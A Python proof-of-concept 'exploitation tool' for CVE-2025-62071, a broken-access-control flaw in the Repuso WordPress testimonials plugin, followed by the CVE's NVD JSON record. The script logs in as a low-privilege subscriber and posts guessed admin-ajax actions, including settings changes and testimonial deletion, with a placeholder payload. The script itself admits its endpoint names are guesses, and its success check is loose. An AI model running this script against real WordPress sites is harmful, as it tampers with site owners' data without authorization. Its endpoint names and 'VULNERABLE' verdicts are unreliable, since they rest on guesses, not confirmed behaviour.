CVE-2025-62071

# CVE-2025-62071 PoC - Missing Authorization in Repuso WordPress Plugin # This PoC demonstrates how a low-privilege user can exploit the missing authorization vulnerability import requests import sys # Configuration TARGET_URL = "https://vulnerable-site.com" # Replace with target URL WORDPRESS_URL = f"{TARGET_URL}/wp-admin/admin-ajax.php" USERNAME = "subscriber_user" # Low-privilege WordPress user PASSWORD = "user_password" # Vulnerable plugin endpoint (example - specific action may vary) VULNERABLE_ACTIONS = [ "repuso_get_testimonials", "repuso_save_settings", "repuso_delete_testimonial", "repuso_update_testimonial" ] def get_nonce(target_url): """Attempt to get WordPress nonce (may not be required for vulnerable endpoints)""" session = requests.Session() login_data = { "log": USERNAME, "pwd": PASSWORD, "wp-submit": "Log In", "testcookie": "1" } try: resp = session.post(f"{target_url}/wp-login.php", data=login_data, timeout=10) if "wordpress_logged_in" in str(session.cookies): return session except Exception as e: print(f"[-] Login failed: {e}") return None def exploit_vulnerability(session, action): """Send malicious request with low-privilege account""" payload = { "action": action, "_wpnonce": "", # May be empty if nonce check is missing "data": "malicious_payload" } try: response = session.post(WORDPRESS_URL, data=payload, timeout=10) return response.status_code, response.text except Exception as e: return None, str(e) def main(): print("[*] CVE-2025-62071 Exploitation Tool") print("[*] Target: Repuso WordPress Plugin <= 5.29") print("[*] Vulnerability: Missing Authorization (Broken Access Control)") session = get_nonce(TARGET_URL) if not session: print("[-] Failed to authenticate") sys.exit(1) print(f"[+] Logged in as low-privilege user: {USERNAME}") for action in VULNERABLE_ACTIONS: print(f"\n[*] Testing action: {action}") status, response = exploit_vulnerability(session, action) if status == 200 and "error" not in response.lower(): print(f"[!] VULNERABLE: Action {action} executed without proper authorization") print(f"[+] Response: {response[:200]}") else: print(f"[-] Not vulnerable or action not found") if __name__ == "__main__": main() # Note: This is a conceptual PoC. Actual exploitation requires identifying # specific vulnerable endpoints through source code analysis or API testing.

{"cve": {"id": "CVE-2025-62071", "sourceIdentifier": "[email protected]", "published": "2025-10-22T15:16:05.977", "lastModified": "2026-04-27T17:16:31.360", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "Missing Authorization vulnerability in Repuso Social proof testimonials and reviews by Repuso social-testimonials-and-reviews-widget.This issue affects Social proof testimonials and reviews by Repuso: from n/a through <= 5.29."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:L", "baseScore": 4.3, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "LOW"}, "exploitabilityScore": 2.8, "impactScore": 1.4}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-862"}]}], "references": [{"url": "https://patchstack.com/database/Wordpress/Plugin/social-testimonials-and-reviews-widget/vulnerability/wordpress-social-proof-testimonials-and-reviews-by-repuso-plugin-5-29-broken-access-control-vulnerability?_s_id=cve", "source": "[email protected]"}]}}